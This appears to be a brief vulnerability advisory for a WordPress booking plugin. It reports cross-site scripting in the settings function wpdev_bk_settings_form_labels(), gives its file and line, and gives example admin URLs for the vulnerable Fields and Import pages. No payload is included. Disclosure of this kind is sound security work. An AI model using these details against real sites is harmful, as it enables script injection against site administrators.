The vulnerability exists in the wpdev_bk_settings_form_labels() function from booking/lib/wpdev-settings-general.php (line 1492).
All input field on the Booking > Settings > Fields page are vulnerable to Cross-Site Scripting, eg http://<target>/wp-admin/admin.php?page=booking%2Fwpdev-booking.phpwpdev-booking-option&tab=form.
Also all the form from the Booking > Settings > Import tab are vulnerable to Cross-Site Scripting, however a valid anti-CSRF token in this tab is required, eg http://<target>/wp-admin/admin.php?page=booking%2Fwpdev-booking.phpwpdev-booking-option&tab=sync.
